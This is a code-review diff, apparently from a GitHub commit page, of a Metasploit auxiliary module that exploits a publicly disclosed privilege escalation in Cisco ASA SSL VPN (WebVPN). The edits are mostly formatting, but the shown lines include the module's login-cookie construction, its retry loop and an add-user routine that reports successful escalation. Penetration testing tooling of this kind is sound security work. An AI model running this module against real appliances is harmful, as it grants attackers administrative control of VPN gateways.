66require 'msf/core'
77
88class Metasploit3 < Msf ::Auxiliary
9- Rank = ExcellentRanking
10-
119 include Msf ::Exploit ::Remote ::HttpClient
1210 include Msf ::Auxiliary ::Report
1311 include Msf ::Auxiliary ::Scanner
@@ -18,8 +16,8 @@ def initialize(info = {})
1816 super ( update_info ( info ,
1917 'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability' ,
2018 'Description' => %q{
21- This module exploits a privilege escalation vulnerability for Cisco
22- ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
19+ This module exploits a privilege escalation vulnerability for Cisco
20+ ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
2321 level 15.
2422 } ,
2523 'Author' =>
@@ -34,7 +32,7 @@ def initialize(info = {})
3432 [ 'URL' , 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ] ,
3533 [ 'URL' , 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
3634 ] ,
37- 'DisclosureDate' => "April 9, 2014" ,
35+ 'DisclosureDate' => "Apr 9 2014" ,
3836
3937 ) )
4038
@@ -126,7 +124,7 @@ def do_show_version(cookie, tries = 3)
126124 resp . body . include? ( 'Cisco Adaptive Security Appliance Software Version' )
127125 return resp . body
128126 else
129- vprint_error "#{ peer } - Unable to run '#{ command } '"
127+ vprint_error "#{ peer } - Unable to run '#{ command } '"
130128 print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
131129 end
132130 end
@@ -146,7 +144,7 @@ def add_user(cookie, tries = 3)
146144 if resp &&
147145 !resp . body . include? ( 'Command authorization failed' ) &&
148146 !resp . body . include? ( 'Command failed' )
149- print_good "#{ peer } - Privilege Escalation Appeared Successful"
147+ print_good "#{ peer } - Privilege Escalation Appeared Successful"
150148 return [ username , password ]
151149 else
152150 vprint_error "#{ peer } - Unable to run '#{ command } '"
@@ -171,10 +169,10 @@ def random_username(length = 8)
171169
172170 def do_login ( user , pass , group )
173171 begin
174- cookie = "webvpn=; " +
175- "webvpnc=; " +
176- "webvpn_portal=; " +
177- "webvpnSharePoint=; " +
172+ cookie = "webvpn=; " +
173+ "webvpnc=; " +
174+ "webvpn_portal=; " +
175+ "webvpnSharePoint=; " +
178176 "webvpnlogin=1; " +
179177 "webvpnLang=en;"
180178
@@ -218,9 +216,9 @@ def run_host(ip)
218216 unless validate_cisco_ssl_vpn ( )
219217 vprint_error "#{ peer } - Does not appear to be Cisco SSL VPN"
220218 :abort
221- end
219+ end
222220
223- # This is crude, but I've found this to be somewhat
221+ # This is crude, but I've found this to be somewhat
224222 # interimittent based on session, so we'll just retry
225223 # 'X' times.
226224 datastore [ 'RETRIES' ] . times do |i |
0 commit comments